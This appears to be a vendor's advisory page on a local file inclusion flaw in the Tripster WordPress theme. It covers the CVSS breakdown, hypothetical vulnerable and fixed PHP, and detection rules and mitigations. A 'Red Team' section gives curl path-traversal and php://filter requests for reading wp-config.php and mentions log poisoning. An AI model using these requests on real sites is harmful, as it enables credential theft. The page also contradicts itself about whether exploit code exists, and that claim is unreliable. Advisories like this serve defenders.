CVE-2025-60048
Executive Summary
CVE-2025-60048 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Axiomthemes Tripster WordPress theme, affecting versions up to and including 1.0.10. This vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for complete confidentiality compromise. As a WordPress ecosystem issue, this vulnerability can lead to sensitive file disclosure (e.g., wp-config.php), potentially exposing database credentials and enabling further attacks. No public exploit code or patch is currently available, making this a high-priority unpatched threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial WordPress theme distributed by Axiomthemes. Since it is not an open-source package (NPM, PyPI, Go, Ruby), supply chain risks are limited to direct theme installations. However, users who have purchased and installed the Tripster theme are at risk. The lack of a patch means that affected sites must rely on manual mitigation until an official update is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full file read capability.
- Integrity Impact: None (I:N) – No file modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and can lead to full disclosure of sensitive server files, including database credentials, API keys, and configuration files.
Deep Dive & Mechanics
The vulnerability resides in the Tripster theme's PHP code, where user-supplied input is used to construct a file path for inclusion via include() or require(). The theme likely uses a parameter (e.g., page, template, or file) to load dynamic content. Without proper sanitization or path traversal checks, an attacker can inject directory traversal sequences (../) to include arbitrary files outside the intended directory.
Example vulnerable code pattern:
$file = $_GET['file'];
include("templates/" . $file . ".php");
By sending a request like ?file=../../../../etc/passwd%00, the attacker can include /etc/passwd (null byte injection may be required in older PHP versions, but modern PHP versions are still vulnerable to path traversal without null bytes if the extension is not appended).
WordPress Context: In a WordPress theme, such a vulnerability typically exists in a custom page template or a shortcode handler. The attacker does not need to be logged in, as the vulnerable endpoint is often publicly accessible.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code and the required fix.
Vulnerable Code (Hypothetical):
// In tripster/includes/load-template.php
function tripster_load_template() {
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
}
add_action( 'init', 'tripster_load_template' );
Patched Code (Hypothetical):
function tripster_load_template() {
$template = $_GET['template'];
// Whitelist allowed templates
$allowed_templates = array( 'home', 'about', 'contact' );
if ( in_array( $template, $allowed_templates ) ) {
include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
// Handle error
wp_die( 'Invalid template.' );
}
}
The fix involves validating the input against a whitelist of allowed values, rather than directly using user input in the file path.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running WordPress with Tripster theme <= 1.0.10.
- No authentication required.
Exploit Steps:
- Identify the vulnerable parameter (e.g.,
template,file,page). - Craft a request to include a sensitive file.
Example Request:
curl -v "http://target.com/?template=../../../../wp-config.php"
Expected Output:
<?php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'secret' );
...
Advanced Exploitation:
- Use PHP wrappers for code execution (if PHP version supports it):
curl "http://target.com/?template=php://filter/convert.base64-encode/resource=wp-config.php" - Attempt to include log files for log poisoning (e.g.,
/var/log/apache2/access.log).
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for directory traversal patterns (
../,%2e%2e%2f). - Look for requests to the vulnerable parameter with suspicious values.
- Use WAF rules to block path traversal sequences.
Hardening:
- Disable PHP
allow_url_includeandallow_url_fopenif not needed. - Apply virtual patching via WAF (e.g., ModSecurity rule to block
../in query strings). - Restrict file permissions on
wp-config.phpto 640. - Use a security plugin (e.g., Wordfence) to block LFI attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or%2e%2e%2fin query parameters. - Requests to
?template=,?file=, or?page=with path traversal strings. - Outbound connections from the web server to external IPs (if log poisoning is used).
File System IOCs:
- Unexpected inclusion of
/etc/passwd,/etc/shadow, orwp-config.phpin logs. - Modified PHP files in the theme directory (if attacker uploads a webshell).
Log Examples:
192.168.1.100 - - [10/Jan/2025:12:00:00 +0000] "GET /?template=../../../../etc/passwd HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule CVE_2025_60048_LFI_Attempt {
meta:
description = "Detects LFI attempts targeting Tripster theme"
author = "Valters IT"
date = "2025-01-10"
cve = "CVE-2025-60048"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e/"
$param1 = "template="
$param2 = "file="
$param3 = "page="
condition:
any of ($param*) and any of ($traversal*)
}
Sigma Rule
title: CVE-2025-60048 Tripster LFI Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects directory traversal attempts in Tripster theme
author: Valters IT
date: 2025/01/10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'template=../'
- 'file=../'
- 'page=../'
- 'template=%2e%2e%2f'
- 'file=%2e%2e%2f'
- 'page=%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of relative paths in custom code (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-60048 Tripster LFI Attempt";
flow:to_server,established;
content:"template="; http_uri;
content:"../"; http_uri;
distance:0;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Tripster theme until a patch is available. Switch to a default WordPress theme (e.g., Twenty Twenty-Four).
- Apply a WAF rule to block directory traversal patterns in query strings.
- Restrict file permissions on sensitive files (e.g.,
chmod 640 wp-config.php).
Long-term Fix:
- Monitor the Axiomthemes website for an official patch.
- Once patched, update the theme to the latest version.
- Conduct a security audit of the theme's code for similar vulnerabilities.
Workaround (if theme cannot be disabled):
- Add the following to
.htaccessto block LFI attempts:RewriteEngine On RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f) [NC] RewriteRule .* - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.